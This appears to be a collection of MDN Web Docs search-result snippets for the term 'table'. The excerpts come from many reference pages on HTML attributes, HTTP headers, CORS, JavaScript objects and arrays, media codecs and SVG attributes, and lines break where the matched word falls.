...nd less can help you to produce cross-browser code. take care with user agent sniffing it's preferable for web sites to detect specific device features such as screen size and touch screens using the techniques listed above, and adapt themselves accordingly. but sometimes this is impractical, and web sites resort to parsing the browser's user agent string to try to distinguish between desktops,
tablets, and phones, to serve different content to each type of device. if you do this, make sure your algorithm is correct, and you aren't serving the wrong type of content to a device because you don't understand a particular browser's user agent string. see this guide to using the user agent string to determine device type. test on multiple browsers test your web site on multiple browsers. this m...
HTML attribute: accept - HTML: Hypertext Markup Language
ng which file types to allow. the accept property is an attribute of the file <input> type. it was supported on the <form> element, but was removed in favor of file in html5. because a given file type may be identified in more than one manner, it's useful to provide a thorough set of type specifiers when you need files of specific type, or use the wild card to denote a type of any format is accep
table. for instance, there are a number of ways microsoft word files can be identified, so a site that accepts word files might use an <input> like this: <input type="file" id="docpicker" accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"> whereas if you're accepting a media file, you may want to be include any format of that media type: ...
...verride this and select any file they wish, and then choose incorrect file types. because of this, you should make sure that expected requirement is validated server-side. examples when set on a file input type, the native file picker that opens up should only enable selecting files of the correct file type. most operating systems lighten the files that don't match the criteria and aren't selec
table. <p> <label for="soundfile">select an audio file:</label> <input type="file" id="soundfile" accept="audio/*"> </p> <p> <label for="videofile">select a video file:</label> <input type="file" id="videofile" accept="video/*"> </p> <p> <label for="imagefile">select some images:</label> <input type="file" id="imagefile" accept="image/*" multiple> </p> note the last example allows you t...
...se a single file per <input>, omit the multiple attribute. limiting accepted file types often you won't want the user to be able to pick any arbitrary type of file; instead, you often want them to select files of a specific type or types. for example, if your file input lets users upload a profile picture, you probably want them to select web-compatible image formats, such as jpeg or png. accep
table file types can be specified with the accept attribute, which takes a comma-separated list of allowed file extensions or mime types. some examples: accept="image/png" or accept=".png" — accepts png files. accept="image/png, image/jpeg" or accept=".png, .jpg, .jpeg" — accept png or jpeg files. accept="image/*" — accept any file with an image/* mime type. (many mobile devices also let the...
<img>: The Image Embed element - HTML: Hypertext Markup Language
mats. a complete guide to image formats supported by web browsers is available. below is a list of the image formats that are most commonly used on the web, as well as some older formats that should no longer be used, despite existing content possibly still using them. ...
...terchange format image/gif .gif chrome, edge, firefox, internet explorer, opera, safari ico microsoft icon image/x-icon .ico, .cur chrome, edge, firefox, internet explorer, opera, safari jpeg joint photographic expert group image image/jpeg .jpg, .jpeg, .jfif, .pjpeg, .pjp chrome, edge, firefox, internet explorer, opera, safari png por
table network graphics image/png .png chrome, edge, firefox, internet explorer, opera, safari svg scalable vector graphics image/svg+xml .svg chrome, edge, firefox, internet explorer, opera, safari tiff tagged image file format image/tiff .tif, .tiff none built-in; add-ons required webp web picture format image/webp .webp chrome, e...
...name isn't representative of the image's contents. an alt decision tree • images • wai web accessibility tutorials alt-texts: the ultimate guide — axess lab how to design great alt text: an introduction | deque mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | w3c understanding wcag 2.0 the title attribute the title attribute is not an accep
table substitute for the alt attribute. additionally, avoid duplicating the alt attribute's value in a title attribute declared on the same image. doing so may cause some screen readers to announce the description twice, creating a confusing experience. the title attribute should also not be used as supplemental captioning information to accompany an image's alt description. if an image needs a captio...
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
ng a header (<h*> element) within a link (<a> element), or having a forms <input> element which is not within a block level element such as <p> html version 3.2 <nextid> has vanished altogether, never to be heard from again. attributes like all other html elements, this element accepts the global attributes. n reference to anchor. ...
...ike all other html elements, this element accepts the global attributes. n reference to anchor. example the user enters four section headings into the
table of contents (and presumably also writing paragraph material within these sections). the heading for each of the four sections would be assigned name values of "z0", "z1", "z2", and "z3". the first of these would produce an entry in the
table of contents like this: <a name="z0" href="#z4">first section name</a> and the section header would be marked like this: <h2><a name="z4">first section name</a></h2>. this continues for the next three sections, z5, z6, and z7 (and
table of contents entries named z1, z2, and z3), each automatically given anchors with these names. the user then saves and closes the document. next would then add, wit...
..., <nextid n="z8">, to inform where to continue its naming convention. imagine the web author opens the document for further editing. they want to add a couple new sections after the second section, appending four more sections at the end. when opening the document, the next editor finds and reads this <nextid n="z8"> tag, and now knows to give the first of these new sections the name of z8 in the
table of contents, and z14 to the content body. this might look like this: <html> <head> <title> ... whatever ... </title> <link, meta, base, etc. as applicable for the head of this document> <nextid n="z20"> </head> <body> <a name="z0" href="#z4">first section heading</a> <a name="z1" href="#z5">second section heading</a> <a name="z8" href=...
Evolution of HTTP - HTTP
n introduced as concerted effort, but as a try-and-see approach over the 1991-1995 period: a server and a browser added one feature and it saw if it got traction. a lot of interoperability problems were common. in november 1996, in order to solve these annoyances, an informational document describing the common practices has been published, rfc 1945. this is the definition of http/1.0 and it is no
table that, in the narrow sense of the term, it isn't an official standard. http/1.1 – the standardized protocol in parallel to the somewhat chaotic use of the diverse implementations of http/1.0, and since 1995, well before the publication of http/1.0 document the next year, proper standardization was in progress. the first standardized version of http, http/1.1 was published in early 1997, only a...
... http/1.1 was first published as rfc 2068 in january 1997. more than 15 years of extensions thanks to its extensibility – creating new headers or methods is easy – and even if the http/1.1 protocol was refined over two revisions, rfc 2616 published in june 1999 and the series of rfc 7230-rfc 7235 published in june 2014 in prevision of the release of http/2, this protocol has been extremely s
table over more than 15 years. using http for secure transmissions the largest change that happened to http was done as early as end of 1994. instead of sending http over a basic tcp/ip stack, netscape communications created an additional encrypted transmission layer on top of it: ssl. ssl 1.0 was never released outside the company, but ssl 2.0 and its successor ssl 3.0 allowed for the creation of e-...
... lift some of the restriction of this policy. how much and when such restrictions are lifted is transmitted by the server to the client using a new bunch of http headers. these are defined in specifications like cross-origin resource sharing (cors) or the content security policy (csp). in addition to these large extensions, numerous other headers have been added, sometimes experimentally only. no
table headers are do not track (dnt) header to control privacy, x-frame-options, or upgrade-insecure-requests but many more exist. http/2 – a protocol for greater performance over the years, web pages have become much more complex, even becoming applications in their own right. the amount of visual media displayed, the volume and size of scripts adding interactivity, has also increased: much more ...
MIME types (IANA media types) - HTTP
result in a script not being loaded. image types files whose mime type is image contain image data. the subtype specifies which specific image file format the data represents. ...
...terchange format image/gif .gif chrome, edge, firefox, internet explorer, opera, safari ico microsoft icon image/x-icon .ico, .cur chrome, edge, firefox, internet explorer, opera, safari jpeg joint photographic expert group image image/jpeg .jpg, .jpeg, .jfif, .pjpeg, .pjp chrome, edge, firefox, internet explorer, opera, safari png por
table network graphics image/png .png chrome, edge, firefox, internet explorer, opera, safari svg scalable vector graphics image/svg+xml .svg chrome, edge, firefox, internet explorer, opera, safari tiff tagged image file format image/tiff .tif, .tiff none built-in; add-ons required webp web picture format image/webp .webp chrome, e...
... mime sniffing in the absence of a mime type, or in certain cases where browsers believe they are incorrect, browsers may perform mime sniffing — guessing the correct mime type by looking at the bytes of the resource. each browser performs mime sniffing differently and under different circumstances. (for example, safari will look at the file extension in the url if the sent mime type is unsui
table.) there are security concerns as some mime types represent execu
table content. servers can prevent mime sniffing by sending the x-content-type-options header. other methods of conveying document type mime types are not the only way to convey document type information: filename suffixes are sometimes used, especially on microsoft windows. not all operating systems consider these suffixes mean...
Cross-Origin Resource Sharing (CORS) - HTTP
ontent-encoding: gzip content-length: 235 keep-alive: timeout=2, max=99 connection: keep-alive content-type: text/plain [some xml payload] lines 1 - 10 above represent the preflight request with the options method. the browser determines that it needs to send this based on the request parameters that the javascript code snippet above was using, so that the server can respond whether it is accep
table to send the request with the actual request parameters. options is an http/1.1 method that is used to determine further information from servers, and is a safe method, meaning that it can't be used to change the resource. note that along with the options request, two other request headers are sent (lines 9 and 10 respectively): access-control-request-method: post access-control-request-headers: ...
...ders header notifies the server that when the actual request is sent, it will be sent with a x-pingother and content-type custom headers. the server now has an opportunity to determine whether it wishes to accept a request under these circumstances. lines 13 - 22 above are the response that the server sends back indicating that the request method (post) and request headers (x-pingother) are accep
table. in particular, let's look at lines 16-19: access-control-allow-origin: http://foo.example access-control-allow-methods: post, get, options access-control-allow-headers: x-pingother, content-type access-control-max-age: 86400 the server responds with access-control-allow-methods and says that post and get are viable methods to query the resource in question. note that this header is similar to ...
...tion. note that this header is similar to the allow response header, but used strictly within the context of access control. the server also sends access-control-allow-headers with a value of "x-pingother, content-type", confirming that these are permitted headers to be used with the actual request. like access-control-allow-methods, access-control-allow-headers is a comma separated list of accep
table headers. finally, access-control-max-age gives the value in seconds for how long the response to the preflight request can be cached for without sending another preflight request. in this case, 86400 seconds is 24 hours. note that each browser has a maximum internal value that takes precedence when the access-control-max-age is greater. preflighted requests and redirects not all browsers curre...
Content negotiation - HTTP
content negotiation and there are several ways of negotiating between the client and the server. the determination of the best suited representation is made through one of two mechanisms: specific http headers by the client (server-driven negotiation or proactive negotiation), which is the standard way of negotiating a specific kind of resource. the 300 (multiple choices) or 406 (not accep
table) http response codes by the server (agent-driven negotiation or reactive negotiation), that are used as fallback mechanisms. over the years, other content negotiation proposals, like transparent content negotiation and the alternates header, have been proposed. they failed to get traction and got abandoned. server-driven content negotiation in server-driven content negotiation, or proactive c...
...d client hints and is only available in chrome 61 or later. the accept-ch-lifetime header is used with the device-memory value of the accept-ch header and indicates the amount of time the device should opt-in to sharing the amount of device memory with the server. the value is given in miliseconds and it's use is optional. the accept-encoding header the accept-encoding header defines the accep
table content-encoding (supported compressions). the value is a q-factor list (e.g.: br, gzip;q=0.8) that indicates the priority of the encoding values. the default value identity is at the lowest priority (unless otherwise declared). compressing http messages is one of the most important ways to improve the performance of a web site, it shrinks the size of the data transmitted and makes better use of...
...eyed in a header to choose the appropriate content. the vary header was added in the version 1.1 of http and is necessary in order to allow caches to work appropriately. a cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. that way, the cache can replay the algorithm and will be able to serve accep
table content directly, without more request to the server. obviously, the wildcard '*' prevents caching from occurring, as the cache cannot know what element is behind it. agent-driven negotiation server-driven negotiation suffers from a few downsides: it doesn't scale well. there is one header per feature used in the negotiation. if you want to use screen size, resolution or other dimensions, a new...
Accept-Encoding - HTTP
ually a compression algorithm, the client is able to understand. using content negotiation, the server selects one of the proposals, uses it and informs the client of its choice with the content-encoding response header. even if both the client and the server supports the same compression algorithms, the server may choose not to compress the body of a response, if the identity value is also accep
table. two common cases lead to this: the data to be sent is already compressed and a second compression won't lead to smaller data to be transmitted. this may be the case with some image formats; the server is overloaded and cannot afford the computational overhead induced by the compression requirement. typically, microsoft recommends not to compress if a server uses more than 80% of its computat...
... cannot afford the computational overhead induced by the compression requirement. typically, microsoft recommends not to compress if a server uses more than 80% of its computational power. as long as the identity value, meaning no encoding, is not explicitly forbidden, by an identity;q=0 or a *;q=0 without another explicitly set value for identity, the server must never send back a 406 not accep
table error. notes: an iana registry maintains a complete list of official content encodings. two others content encoding, bzip and bzip2, are sometimes used, though not standard. they implement the algorithm used by these two unix programs. note that the first one was discontinued due to patent licensing problems. header type request header forbidden header name ye...
...the lempel-ziv coding (lz77), with a 32-bit crc. compress a compression format using the lempel-ziv-welch (lzw) algorithm. deflate a compression format using the zlib structure, with the deflate compression algorithm. br a compression format using the brotli algorithm. identity indicates the identity function (i.e. no compression, nor modification). this value is always considered as accep
table, even if not present. * matches any content encoding not already listed in the header. this is the default value if the header is not present. it doesn't mean that any algorithm is supported; merely that no preference is expressed. ;q= (qvalues weighting) any value is placed in an order of preference expressed using a relative quality value called weight. examples accept-encoding: gzip ac...
Public class fields - JavaScript
this page describes experimental features. both public and private field declarations are an experimental feature (stage 3) proposed at tc39, the javascript standards committee. support in browsers is limited, but the feature can be used through a build step with systems like babel. see the compat information below. both static and instance public fields are wri
table, enumerable, and configurable properties. as such, unlike their private counterparts, they participate in prototype inheritance. syntax class classwithinstancefield { instancefield = 'instance field' } class classwithstaticfield { static staticfield = 'static field' } class classwithpublicinstancemethod { publicmethod() { return 'hello world' } } examples public static fields public static fields are usefu...
...unctions, such as functions to create or clone objects. class classwithstaticmethod { static staticmethod() { return 'static method has been called.'; } } console.log(classwithstaticmethod.staticmethod()); // expected output: "static method has been called." the static methods are added to the class constructor with object.defineproperty() at class evaluation time. these methods are wri
table, non-enumerable, and configurable. public instance methods as the name implies, public instance methods are methods available on class instances. class classwithpublicinstancemethod { publicmethod() { return 'hello world' } } const instance = new classwithpublicinstancemethod() console.log(instance.publicmethod()) // expected output: "hello world" public instance methods are added...
...methods are methods available on class instances. class classwithpublicinstancemethod { publicmethod() { return 'hello world' } } const instance = new classwithpublicinstancemethod() console.log(instance.publicmethod()) // expected output: "hello world" public instance methods are added to the class prototype at the time of class evaluation using object.defineproperty(). they are wri
table, non-enumerable, and configurable. you may make use of generator, async, and async generator functions. class classwithfancymethods { *generatormethod() { } async asyncmethod() { } async *asyncgeneratormethod() { } } inside instance methods, this refers to the instance itself. in subclasses, super lets you access the superclass prototype, allowing you to call methods from the superclass.
Array.prototype.push() - JavaScript
with call() or apply() on objects resembling arrays. the push method relies on a length property to determine where to start inserting the given values. if the length property cannot be converted into a number, the index used is 0. this includes the possibility of length being nonexistent, in which case length will also be created. although strings are native, array-like objects, they are not sui
table in applications of this method, as strings are immu
table. similarly for the native, array-like object arguments. examples adding elements to an array the following code creates the sports array containing two elements, then appends two elements to it. the total variable contains the new length of the array. let sports = ['soccer', 'baseball'] let total = sports.push('football', 'swimming') ...
...nsole.log(sports) // ['soccer', 'baseball', 'football', 'swimming'] console.log(total) // 4 merging two arrays this example uses apply() to push all elements from a second array. do not use this method if the second array (morevegs in the example) is very large because the maximum number of parameters that one function can take is limited in practice. see apply() for more details. ...
...pply() to push all elements from a second array. do not use this method if the second array (morevegs in the example) is very large because the maximum number of parameters that one function can take is limited in practice. see apply() for more details. let vege
tables = ['parsnip', 'potato'] let morevegs = ['celery', 'beetroot'] // merge the second array into the first one // equivalent to vege
tables.push('celery', 'beetroot') array.prototype.push.apply(vege
tables, morevegs) console.log(vege
tables) // ['parsnip', 'potato', 'celery', 'beetroot'] using an object in an array-like fashion as mentioned above, push is intentionally generic, and we can use that to our advantage. array.prototype.push can work on an object just fine, as this example shows. note that we don't create an array to ...
Array - JavaScript
ruits.unshift('strawberry') // add to the front // ["strawberry", "banana"] find the index of an item in the array fruits.push('mango') // ["strawberry", "banana", "mango"] let pos = fruits.indexof('banana') // 1 remove an item by index position let removeditem = fruits.splice(pos, 1) // this is how to remove an item // ["strawberry", "mango"] remove items from an index position let vege
tables = ['cabbage', 'turnip', 'radish', 'carrot'] console.log(vege
tables) // ["cabbage", "turnip", "radish", "carrot"] let pos = 1 let n = 2 let removeditems = vege
tables.splice(pos, n) // this is how to remove items, n defines the number of items to be removed, // starting at the index position specified by pos and progressing toward the end of array. console.log(vege
tables) // ["cabbage", "carrot...
...rray.length page. creating an array using the result of a match the result of a match between a regexp and a string can create a javascript array. this array has properties and elements which provide information about the match. such an array is returned by regexp.exec(), string.match(), and string.replace(). ...
... ecmascript 1 ...
Function.name - JavaScript
eated, or it may be rather anonymous or ''(an empty string) for functions created anonymously. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of function.name wri
table no enumerable no configurable yes note that in non-standard, pre-es2015 implementations the configurable attribute was false as well. javascript compressors and minifiers warning: be careful when using function.name and source code transformations, such as those carried out by javascript compressors (minifiers) or obfuscators. thes...
...lass with a static method property name(): class foo { constructor() {} static name() {} } with a static name() method foo.name no longer holds the actual class name but a reference to the name() function object. above class definition in es2015 syntax will behave in chrome or firefox similar to the following snippet in es5 syntax: function foo() {} object.defineproperty(foo, 'name', { wri
table: true }); foo.name = function() {}; trying to obtain the class of fooinstance via fooinstance.constructor.name won't give us the class name at all but a reference to the static class method. example: let fooinstance = new foo(); console.log(fooinstance.constructor.name); // logs function name() you may also see from the es5 syntax example that in chrome or firefox our static definition of fo...
...e = function() {}; trying to obtain the class of fooinstance via fooinstance.constructor.name won't give us the class name at all but a reference to the static class method. example: let fooinstance = new foo(); console.log(fooinstance.constructor.name); // logs function name() you may also see from the es5 syntax example that in chrome or firefox our static definition of foo.name becomes wri
table. the built-in definition in the absence of a custom static definition is read-only: foo.name = 'hello'; console.log(foo.name); // logs "hello" if class foo has a static name() property but "foo" if not. therefore you may not rely on the built-in function.name property to always hold a class's name. symbols as function names if a symbol is used a function name and the symbol has a description...
Object.create() - JavaScript
t.create() var o; // create an object with null as prototype o = object.create(null); o = {}; // is equivalent to: o = object.create(object.prototype); // example where we create an object with a couple of // sample properties. ...
... constructor(); // is equivalent to: o = object.create(constructor.prototype); // of course, if there is actual initialization code // in the constructor function, // the object.create() cannot reflect it // create a new object whose prototype is a new, empty // object and add a single property 'p', with value 42. ...
... whose prototype is a new, empty // object and add a single property 'p', with value 42. o = object.create({}, { p: { value: 42 } }); // by default properties are not wri
table, // enumerable or configurable: o.p = 24; o.p; // 42 o.q = 12; for (var prop in o) { console.log(prop); } // 'q' delete o.p; // false // to specify an es3 property o2 = object.create({}, { p: { value: 42, wri
table: true, enumerable: true, configurable: true } }); /* is not equivalent to: this will create an object with prototype : {p: 42 } o2 = object.create({p: 42}) */ specifications specification ecmascript (ecma-262)the definition of 'object.create' in that specification. ...
Object.seal() - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.seal(obj) parameters obj the object which should be sealed. return value the object being sealed. ...
...tax object.seal(obj) parameters obj the object which should be sealed. return value the object being sealed. description by default, objects are extensible (new properties can be added to them). sealing an object prevents new properties from being added and marks all existing properties as non-configurable. this has the effect of making the set of properties on the object fixed and immu
table. making all properties non-configurable also prevents them from being converted from data properties to accessor properties and vice versa, but it does not prevent the values of data properties from being changed. attempting to delete or add properties to a sealed object, or to convert a data property to accessor or vice versa, will fail, either silently or by throwing a typeerror (most commonly,...
...ties to a sealed object, or to convert a data property to accessor or vice versa, will fail, either silently or by throwing a typeerror (most commonly, although not exclusively, when in strict mode code). the prototype chain remains untouched. however, the __proto__ property is sealed as well. comparison to object.freeze() existing properties in objects frozen with object.freeze() are made immu
table. objects sealed with object.seal() can have their existing properties changed. examples using object.seal var obj = { prop: function() {}, foo: 'bar' }; // new properties may be added, existing properties // may be changed or removed. obj.foo = 'baz'; obj.lumpy = 'woof'; delete obj.prop; var o = object.seal(obj); o === obj; // true object.issealed(obj); // === true // changing property...
String.prototype.matchAll() - JavaScript
clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.matchall(regexp) parameters regexp a regular expression object. if a non-regexp object obj is passed, it is implicitly converted to a regexp by using new regexp(obj). the regexp object must have the /g flag, otherwise a typeerror will be thrown. ...
...regexp object must have the /g flag, otherwise a typeerror will be thrown. return value an iterator (which is not a restar
table iterable). examples regexp.exec() and matchall() prior to the addition of matchall to javascript, it was possible to use calls to regexp.exec (and regexes with the /g flag) in a loop to obtain all the matches: const regexp = regexp('foo[a-z]*','g'); const str = '
table football, foosball'; let match; while ((match = regexp.exec(str)) !== null) { console.log(`found ${match[0]} start=${match.index} end=${regexp.lastindex}.`); // expected output: "found football start=6 end=14." // expected output: "found foosball start=16 end=24." } with matchall available, you can avoid the while loop and exec with g. instead, by using matchall, you get an iterator to ...
...nd=${regexp.lastindex}.`); // expected output: "found football start=6 end=14." // expected output: "found foosball start=16 end=24." } with matchall available, you can avoid the while loop and exec with g. ...
Operator precedence - JavaScript
thub repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. precedence and associativity consider an expression describable by the representation below. note that both op1 and op2 are fill-in-the-blanks for operators. a op1 b op2 c if op1 and op2 have different precedence levels (see the
table below), the operator with the highest precedence goes first and associativity does not matter. observe how multiplication has higher precedence than addition and executed first, even though addition is written first in the code. console.log(3 + 10 * 2); // logs 23 console.log(3 + (10 * 2)); // logs 23 because parentheses here are superfluous console.log((3 + 10) * 2); // logs 26 because the pa...
...)); evaluating the left side evaluating the middle side evaluating the right side 64 looking at the code snippets above, 6 / 3 / 2 is the same as (6 / 3) / 2 because division is left-associative. exponentiation, on the other hand, is right-associative, so 2 ** 3 ** 2 is the same as 2 ** (3 ** 2). thus, doing (2 ** 3) ** 2 changes the order and results in the 64 seen in the
table above. remember that precedence comes before associativity. so, mixing division and exponentiation, the exponentiation comes before the division. for example, 2 ** 3 / 3 ** 2 results in 0.8888888888888888 because it is the same as (2 ** 3) / (3 ** 2). note on grouping and short-circuiting in the
table below, grouping is listed as having the highest precedence. however, that does not always mea...
...e `a` if `a` is not `null` and not `undefined` a?.b.c; // evaluate `a` first, then produce `undefined` if `a` is `null` or `undefined` examples 3 > 2 && 2 > 1 // returns true 3 > 2 > 1 // returns false because 3 > 2 is true, then true is converted to 1 // in inequality operators, therefore true > 1 becomes 1 > 1, which // is false. adding parentheses makes things clear: (3 > 2) > 1.
table the following
table is ordered from highest (21) to lowest (1) precedence. precedence operator type associativity individual operators 21 grouping n/a ( … ) 20 member access left-to-right … . … computed member access left-to-right … [ … ] new (with argument list) n/a new … ( … ) function c...
MathML element reference - MathML
ath <math> (top-level element) a <maction> (binded actions to sub-expressions) <maligngroup> (alignment group) <malignmark> (alignment points) e <menclose> (enclosed contents) <merror> (enclosed syntax error messages) f <mfenced> (parentheses) <mfrac> (fraction) g <mglyph> (displaying non-standard symbols) i <mi> (identifier) l <mlabeledtr> (labeled row in a
table or a matrix) <mlongdiv> (long division notation) m <mmultiscripts> (prescripts and tensor indices) n <mn> (number) o <mo> (operator) <mover> (overscript) p <mpadded> (space around content) <mphantom> (invisible content with reserved space) r <mroot> (radical with specified index) <mrow> (grouped sub-expressions) s <ms> (string literal) <mscarries> (annotations s...
...ingle carry, child element of <mscarries>) <msgroup> (grouped rows of <mstack> and <mlongdiv> elements) <msline> (horizontal lines inside <mstack> elements) <mspace> (space) <msqrt> (square root without an index) <msrow> (rows in <mstack> elements) <mstack> (stacked alignment) <mstyle> (style change) <msub> (subscript) <msup> (superscript) <msubsup> (subscript-superscript pair) t <m
table> (
table or matrix) <mtd> (cell in a
table or a matrix) <mtext> (text) <mtr> (row in a
table or a matrix) u <munder> (underscript) <munderover> (underscript-overscript pair) other elements <semantics> (container for semantic annotations) <annotation> (data annotations) <annotation-xml> (xml annotations) mathml presentation elements by category top-level elements <math> tok...
...ts <math> token elements <mglyph> <mi> <mn> <mo> <ms> <mspace> <mtext> general layout <menclose> <merror> <mfenced> <mfrac> <mpadded> <mphantom> <mroot> <mrow> <msqrt> <mstyle> script and limit elements <mmultiscripts> <mover> <mprescripts> <msub> <msubsup> <msup> <munder> <munderover> <none> tabular math <maligngroup> <malignmark> <mlabeledtr> <m
table> <mtd> <mtr> elementary math <mlongdiv> <mscarries> <mscarry> <msgroup> <msline> <msrow> <mstack> uncategorized elements <maction> semantic annotations <annotation> <annotation-xml> <semantics> ...
Digital audio concepts - Web media technologies
d audio systems, and it and ultra-high resolution (192 khz) audio are useful for audio mastering, where you need as much quality as possible while manipulating and editing the sound before downsampling to the sample rate you will use for the final product. this is similar to how photographers will use high resolution images for editing and compositing before presenting the customer with a jpeg sui
table for use on a web site. audio file size and network bandwidth once you know the size of a single audio frame and how many frames per second make up your audio data, you can easily calculate how much space the raw sound data itself will occupy (and therefore how much bandwidth it would consume on a network). for example, consider a stereo audio clip (that is, two audio channels) with a sample si...
...ze of the audio while maximizing the percieved fidelity of the sound. an algorithm employing psychoacoustics may use any of the techniques mentioned here, and will almost certainly apply others as well. all of this means there is a fundamental question that has to be asked and answered before choosing a codec: given the content of the sound, the usage context, and the target audience, is it accep
table to lose some degree of audio fidelity, and if so, how much; or is it necessary that, upon decoding the data, the result be identical to the source audio? lossy vs lossless compression if loss of detail and potentially fidelity is unaccep
table or undesirable, a lossless codec is preferred. on the other hand, if some degree of reduction of audio fidelity is okay, a lossy codec can be used. genera...
...cy limits, or by specifying an audio source type that determines how to configure the algorithm based on the expected frequency use of the incoming signal. in addition, some codecs support special limited frequency bandwidth channels, such as the lfe channel, which inherently limit the frequency range available. in the case of lfe, the audio frequency bandwidth is limited to a frequency range sui
table for use by a subwoofer or similar audio experience enhancement device. some codecs offer special profiles which are specifically intended for particular usage scenarios, such as voip; these profiles may also include by default restrictions to the audio frequency bandwidth. joint stereo normally, stereo sound is represented by audio frames which contain one sample per channel. this results in a...
Web video codec guide - Web media technologies
g the video. the simplest guideline is this: anything that makes the encoded video look more like the original, uncompressed, video will generally make the resulting data larger as well. thus, it's always a tradeoff of size versus quality. in some situations, a greater sacrifice of quality in order to bring down the data size is worth that lost quality; other times, the loss of quality is unaccep
table and it's necessary to accept a codec configuration that results in a correspondingly larger file. effect of source video format on encoded output the degree to which the format of the source video will affect the output varies depending on the codec and how it works. if the codec converts the media into an internal pixel format, or otherwise represents the image using a means other than simple...
... avc (h.264) the mpeg-4 specification suite's advanced video coding (avc) standard is specified by the identical itu h.264 specification and the mpeg-4 part 10 specification. it's a motion compensation based codec that is widely used today for all sorts of media, including broadcast television, rtp videoconferencing, and...
...o its dot-delineated properties, we see the following: value desccription av01 the four-character code (4cc) designation identifying the av1 codec. 2 the profile. a value of 2 indicates the professional profile. a value of 1 is the high profile, while a value of 0 would specify the main profile. 19h the level and tier. this value comes from the
table in section a.3 of the av1 specification, and indicates the high tier of level 6.3. 12 the color depth. this indicates 12 bits per component. other possible values are 8 and 10, but 12 is the highest-accuracy color representation available in av1. 0 the monochrome mode flag. if 1, then no chroma planes would be recorded, and all data should be structly luma data, resulting ...
The building blocks of responsive design - Progressive web apps (PWAs)
bring out more new site versions as more new browsers and platforms come out, and adjust code as feature support in existing browsers changes. there are disadvantages to this approach as well. if the content, layout, and functionality need to change greatly for different devices, it may not be such a good approach. also, taking an existing site and adding responsiveness to it, to make it mobile/
tablet friendly, can be a lot more effort than just creating a separate mobile site or app, especially if it is a sprawling enterprise site. read more about responsive design advantages and disadvantages. you can also read our discussion on the basics of responsive design, if you need some more background information and basics. fluid grids the best place to start is with fluid measurements for ou...
...y css depending on the results of media feature tests — for more on the basics, read media queries. typical desktop layout in our example, we have a desktop layout, as we've already seen. this is created using the css rules included at the top of the stylesheet, before any media queries are encountered. mid-width layout we also have a mid-width layout, which is aimed at working well on
tablets and narrow laptop screens. this is created by all of the css inside the first media query: @media all and (max-width: 1024px) { x-card:nth-child(1), x-card:nth-child(2) { width: 50%; } x-card:nth-child(3) { width: 100%; clear: left; } x-card:nth-child(3) img { width: 20%; } } so here we're altering the widths of the columns and removing the float of the third col...
...number of irksome browser behavior realities, solutions are more difficult to hack together than you would imagine. there are currently some standards proposals in the works that would provide this — the w3c responsive images community group discussed this problem for ages and arrived at the <picture> element, which provides a similar markup structure to <video>, with <source> alternatives selec
table via media query results. another proposal, srcset, was put forward by apple and takes a slightly different approach, instead providing a new srcset attribute for <img> inside which image references are placed along with "hints" that the browser can use to work out which image is most sui
table to display given its viewport size, resolution, etc. these are not intended to be mutually exclusive. th...
SVG Conditional Processing Attributes - SVG: Scalable Vector Graphics
element on which it appears should be rendered. externalresourcesrequired requiredextensions requiredfeatures systemlanguage attributes externalresourcesrequired deprecated since svg 2 if set to true, it indicates that the browser must wait for all the external resources necessary to render that element to be loaded before processing the associated element. ...
...et to true, it indicates that the browser must wait for all the external resources necessary to render that element to be loaded before processing the associated element. value: false|true; anima
table: no requiredextensions list all the browser specific capabilities that must be supported by the borwser to be allowed to render the associated element. value: a list of space-separated uri; anima
table: no requiredfeatures deprecated since svg 2 list all the features, as defined is the svg 1.1 specification, that must be supported by the borwser to be allowed to render the associated element.. value: a list of space-separated uri; anima
table: no systemlanguage indicates which language the user must have chosen to render the associated element. value: a list of comma-separated language id;...
...requiredfeatures deprecated since svg 2 list all the features, as defined is the svg 1.1 specification, that must be supported by the borwser to be allowed to render the associated element.. value: a list of space-separated uri; anima
table: no systemlanguage indicates which language the user must have chosen to render the associated element. value: a list of comma-separated language id; anima
table: no ...
cx - SVG: Scalable Vector Graphics
/> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="45"/> <ellipse cx="150" cy="50" rx="45" ry="25" /> <rect x="205" y="5" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cx defines the x-axis coordinate of the center of the shape. ...
...he shape. value <length-percentage> default value 0 anima
table yes note: starting with svg2 cx, is a geometry property, meaning this attribute can also be used as css property for circles. ellipse for <ellipse>, cx defines the x-axis coordinate of the center of the shape. value <length-percentage> default value 0 anima
table yes note: starting with svg2 cx, is a geometry property, meaning this attribute can also be used as css property for ellipses. radialgradient for <radialgradient>, cx defines the x-axis coordinate of the end circle for the radial gradient. ...
...alue <length-percentage> default value 0 anima
table yes note: starting with svg2 cx, is a geometry property, meaning this attribute can also be used as css property for ellipses. radialgradient for <radialgradient>, cx defines the x-axis coordinate of the end circle for the radial gradient. ...
cy - SVG: Scalable Vector Graphics
<stop offset="100%" stop-color="black" /> </radialgradient> <circle cy="50" cx="50" r="45"/> <ellipse cy="150" cx="50" rx="45" ry="25" /> <rect x="5" y="205" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cy defines the y-axis coordinate of the center of the shape. ...
... value <length> | <percentage> default value 0 anima
table yes note: starting with svg2, cy is a geometry property meaning this attribute can also be used as a css property for circles. ellipse for <ellipse>, cy defines the y-axis coordinate of the center of the shape. value <length> | <percentage> default value 0 anima
table yes note: starting with svg2, cy is a geometry property meaning this attribute can also be used as a css property for ellipses. radialgradient for <radialgradient>, cy defines the y-axis coordinate of the end circle for the radial gradient. ...
... <length> | <percentage> default value 0 anima
table yes note: starting with svg2, cy is a geometry property meaning this attribute can also be used as a css property for ellipses. radialgradient for <radialgradient>, cy defines the y-axis coordinate of the end circle for the radial gradient. ...
display - SVG: Scalable Vector Graphics
